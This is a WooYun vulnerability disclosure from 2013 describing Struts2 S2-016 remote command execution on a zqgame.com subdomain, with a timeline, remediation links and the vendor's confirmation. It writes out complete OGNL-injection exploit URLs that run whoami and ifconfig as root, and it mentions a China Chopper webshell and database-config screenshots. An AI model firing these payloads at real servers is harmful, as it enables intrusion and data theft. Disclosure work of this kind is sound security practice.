当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2013-045257

漏洞标题:分站命令执行杀入中青宝内网

相关厂商:中青宝互动网络股份有限公司

漏洞作者: 寒菜

提交时间:2013-12-08 11:23

修复时间:2014-01-22 11:24

公开时间:2014-01-22 11:24

漏洞类型:命令执行

危害等级:中

自评Rank:10

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2013-12-08: 细节已通知厂商并且等待厂商处理中
2013-12-10: 厂商已经确认,细节仅向厂商公开
2013-12-20: 细节向核心白帽子及相关领域专家公开
2013-12-30: 细节向普通白帽子公开
2014-01-09: 细节向实习白帽子公开
2014-01-22: 细节向公众公开

简要描述:

中青宝某分站为struts2框架 杀入内网
善意测试 点到为止

详细说明:

漏洞介绍页

http://struts.apache.org/release/2.3.x/docs/s2-016.html


漏洞存在地址 URL:

http://kfadmin.zqgame.com/index.action


可以执行系统命令且当前用户为root 权限很大 又处在内网当中

http://kfadmin.zqgame.com/index.action?redirect:${%23a%3d%28new%20java.lang.ProcessBuilder%28new%20java.lang.String[]{%27whoami%27}%29%29.start%28%29,%23b%3d%23a.getInputStream%28%29,%23c%3dnew%20java.io.InputStreamReader%28%23b%29,%23d%3dnew%20java.io.BufferedReader%28%23c%29,%23e%3dnew%20char[50000],%23d.read%28%23e%29,%23matt%3d%23context.get%28%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27%29,%23matt.getWriter%28%29.println%28%23e%29,%23matt.getWriter%28%29.flush%28%29,%23matt.getWriter%28%29.close%28%29}


whoami /* 当前用户为 root */

1.png


http://kfadmin.zqgame.com/index.action?redirect:${%23a%3d%28new%20java.lang.ProcessBuilder%28new%20java.lang.String[]{%27ifconfig%27}%29%29.start%28%29,%23b%3d%23a.getInputStream%28%29,%23c%3dnew%20java.io.InputStreamReader%28%23b%29,%23d%3dnew%20java.io.BufferedReader%28%23c%29,%23e%3dnew%20char[50000],%23d.read%28%23e%29,%23matt%3d%23context.get%28%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27%29,%23matt.getWriter%28%29.println%28%23e%29,%23matt.getWriter%28%29.flush%28%29,%23matt.getWriter%28%29.close%28%29}


ifconfig /* 查看IP地址 为内网IP */

2.png

漏洞证明:

菜刀截图

3.jpg


数据库配置截图

4.jpg

修复方案:

方法一:

http://software.intel.com/zh-cn/blogs/2013/08/08/struts2-s2-016s2-017


方法二:升级struts

版权声明:转载请注明来源 寒菜@乌云


漏洞回应

厂商回应:

危害等级:低

漏洞Rank:5

确认时间:2013-12-10 12:34

厂商回复:

非常感谢您的报告,问题已交由相关部门处理

最新状态:

2014-01-26:已修复,非常感谢您的反馈~